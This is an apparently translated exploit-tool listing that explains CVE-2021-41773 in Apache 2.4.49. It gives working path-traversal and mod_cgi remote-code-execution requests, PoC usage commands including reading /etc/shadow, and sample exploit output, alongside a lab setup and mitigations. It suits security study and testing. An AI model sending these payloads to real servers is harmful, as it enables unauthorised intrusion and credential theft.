Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-41773 — CVE-2021-41773 का प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/joapath/cve-2021-41773
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubjoapath/cve-2021-41773

CVE-2021-41773

CVE-2021-41773 का प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-41773 — PoC: पाथ ट्रैवर्सल + mod_cgi के माध्यम से RCE

केवल नियंत्रित और अपने वातावरण में उपयोग के लिए। बिना प्राधिकरण वाले सिस्टम के विरुद्ध उपयोग न करें।


विवरण

इस PoC को Apache HTTP Server 2.4.49 में मौजूद CVE-2021-41773 भेद्यता को प्रदर्शित करने और समझने के लिए विकसित किया गया है।

यह दोष ap_normalize_path() फ़ंक्शन में निहित है, जो URL-एन्कोडेड वर्णों को सही ढंग से मान्य नहीं करता था। इससे एक हमलावर एन्कोडेड वर्णों के अनुक्रम (../ के बजाय %2e%2e%2f) के माध्यम से DocumentRoot के बाहर जाकर सिस्टम की मनमानी फ़ाइलें पढ़ सकता था।

जब mod_cgi मॉड्यूल सक्षम होता था, तो यह भेद्यता RCE (रिमोट कोड एक्ज़ीक्यूशन) तक बढ़ जाती थी, जिससे Apache प्रक्रिया की अनुमतियों के साथ सर्वर पर सीधे कमांड निष्पादित किए जा सकते थे।


शोषण के लिए आवश्यक शर्तें

भेद्य होने के लिए सर्वर को सभी निम्नलिखित शर्तें पूरी करनी होंगी:

शर्तविवरण
Apache संस्करणबिल्कुल 2.4.49
एक्सेस निर्देशकॉन्फ़िगरेशन में Require all granted
CGI मॉड्यूलmod_cgi सक्षम (केवल RCE के लिए)

हमला कैसे काम करता है

चरण 1 — पाथ ट्रैवर्सल

Apache 2.4.49 क्लासिक ../ को फ़िल्टर करता था, लेकिन उसके URL-एन्कोडेड संस्करण को नहीं। हमलावर एक ऐसा पथ बनाता है जिसे फ़िल्टर पहचान नहीं पाता, लेकिन ऑपरेटिंग सिस्टम सही ढंग से व्याख्या करता है:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f, ../ का URL एन्कोडिंग है। Apache इसे पास होने देता था, OS इसे हल कर देता था, और परिणाम वेब डायरेक्ट्री के बाहर की फ़ाइलों तक पहुँच था।

चरण 2 — mod_cgi के माध्यम से RCE

mod_cgi सक्रिय होने पर, पाथ ट्रैवर्सल का उपयोग किसी फ़ाइल के बजाय /bin/sh को लक्षित करने के लिए किया जाता है। Apache इसे CGI स्क्रिप्ट मानकर निष्पादित करता है। कमांड POST के body में एक न्यूनतम shell स्क्रिप्ट के रूप में जाता है:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

कमांड का आउटपुट HTTP प्रतिक्रिया में आता है।


परीक्षण वातावरण

भेद्यता को दोहराने का सबसे साफ तरीका Docker के साथ है:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

या भेद्य कॉन्फ़िगरेशन वाली Apache 2.4.49 की मैन्युअल इमेज के साथ:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

मैं उन कॉन्फ़िगरेशन फ़ाइलों को छोड़ रहा हूँ जिन्हें मैंने परीक्षण के लिए उपयोग किया था।

एक्सप्लॉइट के लिए तकनीकी निर्णय

  • 'urllib3' क्यों और 'requests' क्यों नहीं?

    requests भेजने से पहले path के वर्णों को स्वचालित रूप से पुनः एन्कोड कर देता है। यह payload को तोड़ देता है क्योंकि सर्वर को %2e के बजाय %252e प्राप्त होता है। urllib3 path को बिना किसी संशोधन के भेजने की अनुमति देता है।

  • .%2e/ क्यों और %2e%2e/ क्यों नहीं?
    Apache mod_rewrite मॉड्यूल में %2e%2e/ को फ़िल्टर करता है। वेरिएंट .%2e/ शब्दार्थ रूप से समकक्ष है लेकिन फ़िल्टर से पास हो जाता है, क्योंकि path की normalization मान्यता (validation) के बाद होती है।

सीमाएँ

  • RCE मोड के काम करने के लिए mod_cgi मॉड्यूल सक्षम होना चाहिए। इसके बिना, केवल पाथ ट्रैवर्सल ही संभव है।
  • यदि Apache किसी WAF के पीछे है जो path में डबल एन्कोडिंग को फ़िल्टर करता है, तो एक्सप्लॉइट काम नहीं करता।
  • केवल Linux पर Apache 2.4.49 के विरुद्ध परीक्षण किया गया है। संस्करण 2.4.50 के लिए अतिरिक्त बायपास की आवश्यकता है (CVE-2021-42013 देखें)।

स्क्रिप्ट का उपयोग

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

तर्क

उदाहरण

सर्वर से /etc/passwd पढ़ें

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

'id' कमांड निष्पादित करें

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

रिक्त स्थान वाला कमांड निष्पादित करें

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

अपेक्षित आउटपुट — traversal मोड

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

अपेक्षित आउटपुट — rce मोड

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

शमन

  • Apache को संस्करण 2.4.51 या उच्चतर में अपडेट करें।
  • डिफ़ॉल्ट मान के रूप में Require all denied कॉन्फ़िगर करें।
  • यदि सख्ती से आवश्यक नहीं है तो mod_cgi अक्षम करें।

संदर्भ

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ यह रिपॉज़िटरी केवल शैक्षिक उद्देश्यों के लिए है।
बिना स्पष्ट प्राधिकरण वाले सिस्टम के विरुद्ध इस एक्सप्लॉइट का उपयोग अवैध है।
केवल नियंत्रित स्थानीय वातावरण में परीक्षण किया गया है।

आक्रामक सुरक्षा पोर्टफोलियो के लिए शैक्षिक उद्देश्यों से विकसित PoC।

टूल डाउनलोड करें
तर्कआवश्यकविवरण
--targetहाँसर्वर का आधार URL (उदा: http://localhost:8080)
--modeहाँफ़ाइलें पढ़ने के लिए traversal, कमांड निष्पादित करने के लिए rce
--cmdनहींrce मोड में निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id)